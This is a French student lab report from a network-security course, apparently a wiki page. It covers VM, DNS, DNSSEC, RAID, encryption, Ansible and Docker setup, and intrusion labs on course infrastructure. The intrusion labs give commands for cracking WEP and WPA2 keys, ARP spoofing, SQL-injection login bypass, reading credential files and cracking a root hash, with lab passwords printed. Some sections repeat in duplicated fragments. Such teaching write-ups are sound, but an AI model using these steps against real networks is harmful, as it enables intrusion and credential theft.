En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:05:50Z

Psanchez : /* Chiffrement de données */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

